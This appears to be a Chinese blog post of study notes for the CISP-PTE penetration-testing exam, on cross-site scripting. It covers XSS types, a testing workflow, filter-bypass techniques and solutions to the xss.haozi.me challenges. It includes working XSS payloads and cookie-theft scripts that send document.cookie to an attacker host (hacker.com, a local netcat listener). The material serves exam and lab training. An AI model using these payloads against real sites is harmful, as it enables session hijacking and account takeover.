渗透测试CISP-PTE:XSS

渗透测试CISP-PTE-系列学习笔记

第一章 渗透测试CISP-PTE:Web安全简介
第二章 渗透测试CISP-PTE:信息收集
第三章 渗透测试CISP-PTE:漏洞扫描
第四章 渗透测试CISP-PTE:HTTP请求流程
第五章 渗透测试CISP-PTE:SQL注入
第六章 渗透测试CISP-PTE:暴力破解
第七章 渗透测试CISP-PTE:XSS


文章目录


前言

XSS (Cross-Site Scripting) 攻击是一种利用 Web 应用程序的漏洞,通过在用户输入的数据中注入恶意脚本来实施攻击的方法。

一、XSS攻击类型

1、反射性XSS

攻击者将恶意脚本注入到 URL 中,当用户点击包含恶意脚本的链接时,脚本会在用户的浏览器中执行。攻击者设置圈套,构造一个恶意代码/链接,让受害者访问,当用户访问带有XSS恶意代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到用例浏览器,浏览器解析这带有XSS代码的数据后,最终造成XSS漏洞
在这里插入图片描述

例如这个页面存在xss漏洞,在php中 . 的左右

<?php
$username = $_GET['username'];
echo 'hello world: ' . $username;
?>

例如让受害者访问http://127.0.0.1?username=<script>alert("xss");</script>

使用反射型xss将用户的cookie反馈给攻击者

http://127.0.0.1?username=<script src=“http://hacker.com/1.js”></script>

攻击场景,仅仅弹个框?

假如http://test.com/xss1.php存在XSS反射型跨站漏洞,那么攻击者的步骤可能如下。

  1. test1是网站test.com的用户,此时正在登录的状态中。
  2. 攻击者发现http://test.com/xss1.php存在XSS反射型跨站漏洞,然后精心构造JavaScript代码,此段代码可以窃取用户的cookie。
  3. 攻击者将带有反射型XSS漏洞的URL通过站内信息发送给用户test1,使用各种诱导的方式让用户 test1去打开链接。
  4. 如果用户test1打开了带有XSS漏洞的URL,那么就会把自己的cookie发送到攻击者中。
  5. 攻击者接受到用户test1的会话cookie,就可以直接利用cookie以test1的身份登录test.com网站中。

以上步骤,通过使用反射型XSS漏洞可以以test1的身份登录网站,这就是其危

2、存储型XSS

存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本。允许用户存储数据的WEB应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当再次访问页面时,这段XSS代码被程序读取响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。

如下图所示,攻击者将恶意脚本存储在服务器上,当用户访问包含该脚本的页面时,脚本会从服务器加载并执行。
在这里插入图片描述
在测试是否存在XSS时,首先要确定输入点与输出点,例如:我们要在留言内容上测试XSS漏洞,首先就要去寻找留言内容输出(显示)的地方是在标签内还是标签属性内,或者在其他地方,如果输出的数据在属性内,那么XSS是不会被执行的。

攻击场景

  1. 在留言板处使用XSS代码。<script>alert(document.cookie)</script
    在这里插入图片描述
  2. 重新加载留言处页面时,代码被执行。
    在这里插入图片描述

3、DCOM型XSS

DOM的全称为Document Object Model,即文档对象模型,DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。
通过JavaScript可以重构整个HTML页面,而要重构页面或者页面中的某个对象,JavaScript就需要知道HTML文档中所有元素的“位置”。而DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。根据DOM规定,HTML文档中的每个成分都是一个节点。

DOM的规定如下:

• 整个文档是一个文档节点
• 每个HTML标签是一个元素节点
• 包含在HTML元素中的文本是文本节点
• 每一个HTML属性是一个属性节点
• 节点与节点之间都有等级关系

在这里插入图片描述传统类型的XSS漏洞(反射型或存储型)一般出现在服务器端代码中,而DOM XSS是基于DOM文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。

DOM XSS取决于输出位置,并不取决于输出环境,因此也可以说DOM XSS既有可能是反射型的,也有可能是存储型的,简单去理解就是因为他输出点在DOM。

攻击者将恶意脚本注入到页面的 DOM (文档对象模型)中,当用户交互操作触发脚本执行时,脚本会执行恶意操作

二、HTML对象/标签对应的事件

允许JavaScript在HTML文档元素中注册不同事件的处理程序,事件通常于函数结合使用,函数不会在事件发送前执行。

1、鼠标事件

在这里插入图片描述

2、框架/对象(Frame/Object)事件

在这里插入图片描述

三、XSS常见Payload

1.简单的弹窗告警

<script>alert("xss");</script>

2.获取cookie

<script>alert(document.cookie);</script>

3.其他标签

<a href=javascript:alert(111)>
<body onload=alert("xss")>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">

4.嵌入其他网站链接

<iframe src=http://www.baidu.com width=0 height=0></iframe>

XSS输入HTML代码段,如使网页不停刷新

<meta http-equiv="refresh" content="0";>

5.注释符

5.1.HTML注释符

<!--  ***  --> 或者 <!--  ***  --!>

5.2.JavaScript/PHP注释符

单行注释://
多行注释:/* *** */

四、XSS漏洞测试流程

1.测试流程

  1. 在目标上找输入点,比如查询接口、留言板
  2. 输入一组“特殊字符(>, ',")等+唯一识别字符”,点击提交,查看返回源码,看后端返回的数据(输出点)是否有处理(过滤、转义等)
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行JS的条件(构造闭合\构造payload)目的是让输入的数据(从属性或标签当中逃逸出来)变成代码来执行
  4. 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

XSS漏洞的防御原则:输入做过滤、输出做转义

2.输出点位置的不同,闭合方式不同

2.1.输出在HTML属性中

<input name="user" value="{your input}"/>
  1. 闭合html属性,插入新的属性
<input name="user" value="" onclick="alert<'xss'>"/>
  1. 闭合input标签,插入新的script标签
<input name="user" value="" ><script>alert(1);</script>"/>

2.2.输出在CSS代码中

<style type="text/css">
Body{
color:{your input}
}
</style>
  1. 闭合css代码中的属性,插入新的属性
<style type="text/css">
Body{
color:#000;backgroud-image:url('javascript:alert(1)');
}
</style>

2.3.输出在JavsScript中

<script>
var name=‘{your input}’
</script>
  1. 闭合javasript代码,插入攻击代码
<script>
var name=''+alert(1)+'';
</script>

六、xss获取cookie

1.常用函数

document.write()
document.cookie

2.常用payload

<script>
document.write(
'<img src="http://127.0.0.1:8000/'+
document.cookie+
'"/>'
);
</script>

3.将cookie反馈给攻击者

DVMA:XSS存储型

<script>
document.write(
	'<img src="http://127.0.0.1:8099/?'+
	btoa(document.cookie) + 
	'" >'
);
</script>

备注:atob-base64解码
btoa-base64编码
攻击机启动nc 监听,即可窃取其他用户的cookie
在这里插入图片描述

七、XSS防护和绕过方法

1.XSS防护

特定标签过滤
事件过滤
敏感关键字过滤

2.XSS绕过

2.1.特定标签过滤

script和iframe等危险标签过滤
1)采用插入过滤范围外的标签(例如html新加入的<source οnerrοr="alert(1)"s>)
2)如果输出点在HTML标签属性中或JS代码中,只需简单闭合、拼接属性或JS代码即可,无需引入新标签。

2.2.事件过滤

2.3.敏感关键字(字符)过滤

针对敏感变量或函数进行过滤,如cookie,eval,alert等,针对敏感符号过滤,如括号、空格、小数点等
通过字符串拼接、编码解码等方式进行绕过

  1. 字符串拼接与混淆
Window['alert']('xss')
Window['al'+'ert']('xss')
window[atob("YWxl"+"cnQ=")]('xss')
  1. 编码解码
    a)HTML进制编码:以&开头,以分号结尾
    命令实体:<这个符号的编码是<
    字符编码:<这个符号的编码是&#060或&#x3c
    b)CSS进制编码:兼容html,十进制或十六进制
    c)JS进制编码:e这个字符八进制\145;十六进制\x65或\u0065
    d)url编码:%61
    e)JSFuck编码:以6个!+字符来编写js脚本
    编码工具:http://evilcos.me/lab/xssee
  2. Location.* window.name
  3. with关键字:在JS中可以使用with关键字设置变量的作用域,利用此特性可以绕过对小数点的过滤
    如:With(document)alert(cookie);
  4. 过滤“()”
    在js中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对这对小括号的过滤,如:window.onerror=alert; throw 1;
    或使用反括号代替,如<script>alert1</script>

八、XSS训练

1.

1.1.源代码

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

1.2.破解思路

闭合textarea标签即可

</textarea><script>alert(1);</script><textarea>

2.input

2.1.源代码

function render (input) {
  return '<input type="name" value="' + input + '">'
}

2.2.破解思路

●利用"> 提前闭合input

"><script>alert(1);</script>

●使用input 事件参数,先闭合value="
input 事件参数包含如下函数:
onclick,onmouseover

" onmouseover="alert(1) 或者" onclick="alert(1)

3.过滤()和-stripBracketsRe = /[()]/g

3.1.源代码

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

正则表达式匹配替换来过滤()

3.2.破解思路

利用``(反引号)代替()

<script>alert`1`;</script>

4.过滤()和-stripBracketsRe = /[(`)]/g

4.1.源代码

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

正则表达式匹配替换来过滤()和`

4.2.破解思路

使用将括号进行编码(只有输入的内容(需要编码的内容)在标签内时才可以使用),如下

<input onmouseover="alert&#40;1&#41;"><!--将()unicode编码为&#40;&#41-->

5.注释符–>

5.1.源代码

function render (input) {
  input = input.replace(/-->/g, '😂')s
  return '<!-- ' + input + ' -->'
}

正则表达式匹配替换来过滤–>

5.2.破解思路

注释符还可以用
--!><script>alert(1);</script><!--

6.任意字符 . 的匹配过滤

6.1.源代码

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

6.2.破解思路

任意字符 . 不能匹配换行符,将js代码用换行符分开

onclick
="alert(1)"

7.</?[^>]+匹配过滤(标签过滤)

7.1.源代码

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi
  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

7.2.破解思路

使用不完整标签

<body onload="alert(1)";

8.标签强匹配过滤

8.1.源代码

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>

8.2.破解思路

的>前增加空格来避免强匹配

</style ><script>alert(1);</script>

9.网址链接引入

9.1.源代码

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

9.2.破解思路

网址引入失败,使用onerror参数

https://www.segmentfault.com" onerror="alert(1);

10.网站

10.1.源代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }
  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

10.2.破解思路

使用https://www.xxx@包含alert(1);的js网址
https://www.segmentfault.com@xss.haozi.me/j.js
其中j.js的内容为alert(1)

11.大小写限定

11.1.源代码

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

11.2.破解思路

由于标签的值时区分大小写的,而标签是不区分大小写的,且标签内的内容可以编码

<script src="https://xss.haozi.me/&#106;&#46;&#106;&#115;"></script>
<body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

12.//单行注释

12.1.源代码

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

12.2.破解思路

//只能注释一行,所以换一行,插入alert(1),并注释掉后面的‘) ,由于//注释符被过滤掉了,所以使用–>来注释


alert(1)
-->

13.<([a-zA-Z])任意字符过滤

13.1.源代码

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

13.2.破解思路

过滤了所有英文字母,使用古字符替换

<ſcript src="https://xss.haozi.me/&#106;&#46;&#106;&#115;"> </script>

14.转译escapeHtml(input)

14.1.源代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

14.2.破解思路

使用’); 先结束前面的console.error

');alert('1

15.转译escapeHtml(input)

15.1.源代码

function render (input) {

  return `
<script>
  window.data = ${input}
</script>
  `
}

15.2.破解思路

先用""; 结束window.data = “”;
然后插入alert(1)

"";
alert(1)

总结

以上就是今天要讲的内容,本文仅仅简单介绍了XSS攻击类型,XSS漏洞常用流程,以及常见XSS案例的破解思路等。后续将从CRSF、文件上传、文件包含、命令执行等环节进行详细介绍。

  • 28
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知2066

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值